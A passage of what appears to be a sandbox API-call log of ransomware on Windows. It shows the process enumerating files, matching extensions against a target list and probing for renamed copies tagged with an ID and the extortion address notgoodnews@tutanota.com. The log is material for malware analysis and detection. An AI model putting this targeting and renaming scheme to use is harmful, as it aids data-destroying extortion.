lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString=".zip") returned 4 [0067.172] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.172] lstrlenW (lpString=".rar") returned 4 [0067.172] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString=".bz2") returned 4 [0067.172] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString=".7z") returned 3 [0067.172] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString=".dbf") returned 4 [0067.172] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString=".1cd") returned 4 [0067.172] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString=".jpg") returned 4 [0067.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.173] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.173] lstrlenW (lpString="ipscat.xml") returned 10 [0067.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.174] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2592) returned 1 [0067.174] CloseHandle (hObject=0x374) returned 1 [0067.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0067.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.175] lstrlenW (lpString=".doc") returned 4 [0067.175] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString=".docx") returned 5 [0067.175] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0067.175] lstrlenW (lpString=".pdf") returned 4 [0067.175] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString=".xls") returned 4 [0067.175] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString=".xlsx") returned 5 [0067.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0067.175] lstrlenW (lpString=".ppt") returned 4 [0067.175] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.175] lstrlenW (lpString=".zip") returned 4 [0067.175] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.175] lstrlenW (lpString=".rar") returned 4 [0067.175] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString=".bz2") returned 4 [0067.175] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString=".7z") returned 3 [0067.175] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.175] lstrlenW (lpString=".dbf") returned 4 [0067.175] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.175] lstrlenW (lpString=".1cd") returned 4 [0067.175] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".jpg") returned 4 [0067.176] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".doc") returned 4 [0067.176] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString=".docx") returned 5 [0067.176] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0067.176] lstrlenW (lpString=".pdf") returned 4 [0067.176] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString=".xls") returned 4 [0067.176] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString=".xlsx") returned 5 [0067.176] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0067.176] lstrlenW (lpString=".ppt") returned 4 [0067.176] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".zip") returned 4 [0067.176] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.176] lstrlenW (lpString=".rar") returned 4 [0067.176] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString=".bz2") returned 4 [0067.176] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString=".7z") returned 3 [0067.176] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".dbf") returned 4 [0067.176] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".1cd") returned 4 [0067.176] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0067.176] lstrlenW (lpString=".jpg") returned 4 [0067.177] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.177] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.177] lstrlenW (lpString="ipschs.xml") returned 10 [0067.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.177] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2462) returned 1 [0067.177] CloseHandle (hObject=0x374) returned 1 [0067.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0067.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.177] lstrlenW (lpString=".doc") returned 4 [0067.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.177] lstrlenW (lpString=".docx") returned 5 [0067.177] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0067.178] lstrlenW (lpString=".pdf") returned 4 [0067.178] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString=".xls") returned 4 [0067.178] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString=".xlsx") returned 5 [0067.178] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0067.178] lstrlenW (lpString=".ppt") returned 4 [0067.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString=".zip") returned 4 [0067.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.178] lstrlenW (lpString=".rar") returned 4 [0067.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString=".bz2") returned 4 [0067.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString=".7z") returned 3 [0067.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString=".dbf") returned 4 [0067.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString=".1cd") returned 4 [0067.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString=".jpg") returned 4 [0067.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.178] lstrlenW (lpString=".doc") returned 4 [0067.178] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.178] lstrlenW (lpString=".docx") returned 5 [0067.178] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0067.179] lstrlenW (lpString=".pdf") returned 4 [0067.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString=".xls") returned 4 [0067.179] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString=".xlsx") returned 5 [0067.179] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0067.179] lstrlenW (lpString=".ppt") returned 4 [0067.179] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.179] lstrlenW (lpString=".zip") returned 4 [0067.179] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.179] lstrlenW (lpString=".rar") returned 4 [0067.179] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString=".bz2") returned 4 [0067.179] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString=".7z") returned 3 [0067.179] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.179] lstrlenW (lpString=".dbf") returned 4 [0067.179] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.179] lstrlenW (lpString=".1cd") returned 4 [0067.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0067.179] lstrlenW (lpString=".jpg") returned 4 [0067.179] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.179] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.179] lstrlenW (lpString="ipscht.xml") returned 10 [0067.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.180] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2436) returned 1 [0067.180] CloseHandle (hObject=0x374) returned 1 [0067.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0067.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.180] lstrlenW (lpString=".doc") returned 4 [0067.180] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.180] lstrlenW (lpString=".docx") returned 5 [0067.180] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0067.180] lstrlenW (lpString=".pdf") returned 4 [0067.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.180] lstrlenW (lpString=".xls") returned 4 [0067.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.180] lstrlenW (lpString=".xlsx") returned 5 [0067.180] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0067.180] lstrlenW (lpString=".ppt") returned 4 [0067.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString=".zip") returned 4 [0067.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.181] lstrlenW (lpString=".rar") returned 4 [0067.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString=".bz2") returned 4 [0067.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString=".7z") returned 3 [0067.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString=".dbf") returned 4 [0067.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString=".1cd") returned 4 [0067.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString=".jpg") returned 4 [0067.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.181] lstrlenW (lpString=".doc") returned 4 [0067.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString=".docx") returned 5 [0067.181] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0067.181] lstrlenW (lpString=".pdf") returned 4 [0067.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString=".xls") returned 4 [0067.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString=".xlsx") returned 5 [0067.181] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0067.181] lstrlenW (lpString=".ppt") returned 4 [0067.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.182] lstrlenW (lpString=".zip") returned 4 [0067.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.182] lstrlenW (lpString=".rar") returned 4 [0067.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.182] lstrlenW (lpString=".bz2") returned 4 [0067.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.182] lstrlenW (lpString=".7z") returned 3 [0067.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.182] lstrlenW (lpString=".dbf") returned 4 [0067.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.182] lstrlenW (lpString=".1cd") returned 4 [0067.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0067.182] lstrlenW (lpString=".jpg") returned 4 [0067.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.182] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.182] lstrlenW (lpString="ipscsy.xml") returned 10 [0067.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.183] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2556) returned 1 [0067.184] CloseHandle (hObject=0x374) returned 1 [0067.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0067.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".doc") returned 4 [0067.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".docx") returned 5 [0067.185] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0067.185] lstrlenW (lpString=".pdf") returned 4 [0067.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".xls") returned 4 [0067.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".xlsx") returned 5 [0067.185] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0067.185] lstrlenW (lpString=".ppt") returned 4 [0067.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".zip") returned 4 [0067.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.185] lstrlenW (lpString=".rar") returned 4 [0067.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".bz2") returned 4 [0067.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".7z") returned 3 [0067.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".dbf") returned 4 [0067.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".1cd") returned 4 [0067.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".jpg") returned 4 [0067.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.185] lstrlenW (lpString=".doc") returned 4 [0067.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.185] lstrlenW (lpString=".docx") returned 5 [0067.185] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0067.186] lstrlenW (lpString=".pdf") returned 4 [0067.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString=".xls") returned 4 [0067.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString=".xlsx") returned 5 [0067.186] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0067.186] lstrlenW (lpString=".ppt") returned 4 [0067.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.186] lstrlenW (lpString=".zip") returned 4 [0067.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.186] lstrlenW (lpString=".rar") returned 4 [0067.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString=".bz2") returned 4 [0067.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString=".7z") returned 3 [0067.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.186] lstrlenW (lpString=".dbf") returned 4 [0067.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.186] lstrlenW (lpString=".1cd") returned 4 [0067.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0067.186] lstrlenW (lpString=".jpg") returned 4 [0067.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.186] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.186] lstrlenW (lpString="ipsdan.xml") returned 10 [0067.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.187] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2514) returned 1 [0067.187] CloseHandle (hObject=0x374) returned 1 [0067.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0067.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.187] lstrlenW (lpString=".doc") returned 4 [0067.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString=".docx") returned 5 [0067.187] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0067.187] lstrlenW (lpString=".pdf") returned 4 [0067.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString=".xls") returned 4 [0067.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString=".xlsx") returned 5 [0067.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0067.187] lstrlenW (lpString=".ppt") returned 4 [0067.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.187] lstrlenW (lpString=".zip") returned 4 [0067.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.187] lstrlenW 